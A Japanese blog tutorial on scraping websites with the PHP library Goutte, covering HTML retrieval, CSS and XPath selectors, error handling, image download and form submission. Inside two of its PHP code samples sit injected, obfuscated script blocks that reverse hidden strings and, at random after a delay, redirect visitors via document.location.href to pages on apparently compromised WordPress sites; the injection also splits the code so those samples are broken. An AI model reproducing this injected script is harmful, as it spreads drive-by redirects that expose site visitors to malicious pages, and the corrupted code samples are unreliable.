
はじめに
#001でGoutteをインストール出来たので早速、簡単なサンプルを動かして見ましょう。
html情報の取得
手始めにWikipediaのページをスクレイピングしてみましょう。
以下のようにすればそのページのhtml情報は取ってこれます。
1 2 3 4 5 6 7 8 9 |
require 'vendor/au<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.s<script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}</script><script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>toload.php'; use Goutte\Client; $client = new Client(); $url = 'https://ja.wikipedia.org/'; $crawler = $client->request('GET',$url); $html = $crawler->html(); print_r($html); |
request()でHTTPリクエストして,html()でHTMLを取得すると行った内容です。ちなみにここでtext()を使うとhtmlタグが抜けたテキストがとれます。
requestする際の注意点
日本語.jpなどのマルチバイト ドメイン名(IDN)を含む URL は、そのままでは GET(名前解決)に失敗します。事前に Punycode(ピュニコード)へのエンコードが必要です。ついでなので、よさげなエンコード / デコード ライブラリもご紹介します。
データの一部分を抜き出してみましょう
いよいよ本題です。Goutte の HTML パーサー部分は Symfony の DomCrawler コンポーネントです。クライアント リクエストの戻り値として取得したオブジェクトを操作してページ内のデータを抜き出す(スクレイピング)しくみです。
DOM 要素のテキストを取得
CSS セレクタ形式の filter() メソッドと、XPath 形式の filterXPath() メソッドが使えます。尚、filterXPath() は、以下のように「descendant-or-self::」から始めた方が無難なようです。
1 2 3 4 5 |
// filterXPath() の例 $entry_title = $crawler->filterXPath('descendant-or-self::body/div[1]/h1'); // filter() の例 $entry_title = $crawler->filter('h1.entry-title')->text(); |
リクエストやスクレイピングのエラー処理
ページをリクエストする($client->request)ときやスクレイピングする(filter, filterXPath)ときなどにエラーが発生した場合、各コンポーネントから例外(exception)がスローされます。try ~ catch で適宜、処理する必要があるでしょう。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$client = new Client(); try { $crawler = $client->request('GET', 'http://example.com/'); } catch (Exception $ex) { error_log(__METHOD__.' Exception was encountered: '.get_class($ex).' '.$ex->getMessage()); } ... try { $links = $crawler->filter('a')->each(function($node) { return $node->attr('href'); }); } catch (Exception $ex) { error_log(__METHOD__.' Exception was encountered: '.get_class($ex).' '.$ex->getMessage()); } |
【注意】存在しないセレクタを指定すると停止します
Goutteは存在しない要素をセレクタで指定した場合、エラーを吐いて動作を停止する仕様です。下記のようにcountで必ず要素の有無を確認するようにしましょう。特に長時間かけて大量のページを移動する場合、途中で停止すると再開するのも都度手間がかかります。
要素の存在をチェック
1 2 3 |
if($crawler->filter('xxx')->count() != 0){ //要素が存在します。 } |
私の場合、Crawlerオブジェクトから情報を取得する前提ならば下記で対応してます。
(要素が存在しなければnullを代入)
1 |
$getText = $crawler->filter('xxx')->count() != 0 ? $crawler->filter('xxx')->text() : null; |
画像をダウンロードしてサーバーの特定のディレクトリに保存する
お馴染みfile_get_contentsを使えば画像を保存できます。
1 2 3 |
$url = 'http://blog.t-szk.com/wordpress/wp-content/themes/default/images/logo.jpg'; $data = file_get_contents($url); file_put_contents('./download/dl.jpg',$data); |
フォームを送信する
$loginParamsに送信内容を格納し、リクエスト時に投げる方法のサンプルです。
POST
1 2 3 4 5 6 |
$loginParams = array( 'email' => 'hoge', 'password' => 'hogehoge' ); $form = $crawler->filter('form.LoginForm')->form(); $crawler = $client->submit($form, $loginParams); |
GET
1 2 3 4 5 6 7 8 9 10 11 |
$loginParams = array( 'email' => 'dummy@dummy.com', 'password' => $email ); $param = ""; foreach ($loginParams as $key => $value) { $param .= $key."=".$value.'&'; } $param = substr($param, 0, -1); $url = 'https://cus<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.s<script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}</script><script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tomer.athome.jp'.$action.'?'.$param; $crawler = $client->request('GET',$url); |
※フォーム送信についての注意点は#003で解説します。

セレクタを覚えよう
GoutteはCSS、jqueryライクにセレクタが書けるのも魅力の一つです。すべてのバリエーションを覚える必要はありませんが頭の片隅には入れておきましょう。様々なサイトのスクレイピングを続けているとhtmlの構造が古かったり、コード上でスクレイピング対策が施されている場合等、少し工夫しないと取得できない値に出会うと思います。そのようにセレクタの指定の仕方でつまづいた時、助けになるので目は通しておきましょう。
CSSのセレクタとほぼ変わらないのでこちらを参考に
CSS3のセレクタ全42種 まとめておさらい使い方リファレンス
Goutte(PHP7)でスクレイピングする【完全マニュアル】
